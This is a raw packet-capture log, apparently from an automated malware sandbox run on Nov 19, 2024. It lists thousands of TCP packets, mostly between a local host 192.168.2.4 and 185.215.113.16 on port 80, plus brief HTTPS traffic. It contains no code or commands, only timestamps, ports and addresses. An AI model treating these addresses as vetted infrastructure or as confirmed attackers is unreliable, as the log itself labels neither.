Nov 19, 2024 19:14:19.320224047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.320288897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.320306063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.321115017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321135044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321149111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321157932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321171999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321178913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321193933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321202040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321208954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321216106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321230888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321238995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321245909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321253061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321266890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321274042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321281910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321290970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321299076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.321336031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.321336031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.321336031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.321336031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.321336031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.321408987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322029114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322052002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322060108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322073936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322082043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322094917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322103024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322109938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322117090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322124004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322138071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322145939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322160006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322166920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322175026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322182894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322196960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322205067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322210073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322210073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322210073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322215080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322238922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322350979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322350979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322680950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322690010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322702885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322772026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322787046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322794914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322808981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322824001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322828054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322834015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322841883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322849989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322894096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322894096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.322931051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322938919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322957039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322964907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322972059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322985888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.322993994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323000908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323009014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323024035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323031902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323045969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323048115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.323048115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.323067904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.323266029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.323790073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323798895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323812962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323820114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323843002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323859930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323868036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323882103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323889971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323896885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323904991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323911905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323919058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323921919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.323921919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.323926926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323935986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323944092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323959112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323966026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323980093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323987961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.323999882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324008942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324016094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324024916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324050903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.324050903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.324050903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.324050903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.324052095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.324126005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.324685097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324707031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324714899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324722052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324728966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324743032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324750900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324758053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324765921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.324795008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.324850082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.324850082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.545957088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.547363043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.851824045 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:19.899326086 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.124191046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:20.124716043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:20.131494045 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.131515026 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.131522894 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.131584883 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.131630898 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.131650925 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.131685019 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:20.131700993 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.131758928 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:20.131758928 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:20.131995916 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:20.132430077 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.132514954 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:20.132553101 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:20.132890940 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:20.996558905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:20.996685982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.009743929 CET	49723	80	192.168.2.4	93.184.221.240
Nov 19, 2024 19:14:21.011482000 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:21.011482000 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:21.011511087 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:21.011527061 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:21.015216112 CET	80	49723	93.184.221.240	192.168.2.4
Nov 19, 2024 19:14:21.015285969 CET	49723	80	192.168.2.4	93.184.221.240
Nov 19, 2024 19:14:21.124223948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.129288912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129316092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129329920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129340887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129354000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129364967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129379034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129385948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.129414082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.129460096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129472971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129575014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.129630089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129647970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129657984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129673004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129687071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129689932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.129698038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129709959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129725933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129728079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.129728079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.129739046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129753113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.129776001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.129776001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130050898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130063057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130075932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130088091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130110025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130151033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130192995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130204916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130217075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130251884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130296946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130347967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130361080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130373001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130386114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130398035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130409002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130420923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130433083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130444050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130451918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130451918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130451918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130460024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130474091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130485058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130496979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130508900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.130517960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130517960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130546093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.130585909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131191015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131201982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131213903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131226063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131238937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131251097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131263018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131274939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131287098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131309032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131328106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131333113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131333113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131333113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131333113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131340027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131350994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131362915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131372929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131385088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131396055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131412983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131416082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131416082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131416082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131416082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131424904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131437063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131449938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.131452084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.131581068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132113934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132132053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132143974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132164955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132177114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132180929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132180929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132189035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132200956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132213116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132232904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132244110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132256031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132261992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132261992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132271051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132277012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132285118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132297039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132308960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132320881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132333040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132344961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132356882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132369041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132380009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.132420063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132420063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132421017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132421017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132421017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.132421017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133124113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133136034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133157015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133167982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133179903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133193016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133198023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133209944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133210897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133224010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133235931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133248091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133264065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133265018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133275986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133292913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133305073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133316994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133327007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133327007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133327007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133330107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133343935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133358955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133371115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133383989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133394957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133409023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.133440971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133440971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133440971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133440971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.133486986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.134100914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134120941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134134054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134145975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134157896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134171009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134182930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134195089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134206057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134218931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134233952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134246111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134257078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.134257078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.134257078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.134258986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134257078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.134257078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.134272099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134284973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134298086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134311914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134325027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134336948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.134337902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.134337902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.134337902 CET	49738	80	192.168.2.4	185.215.113.16
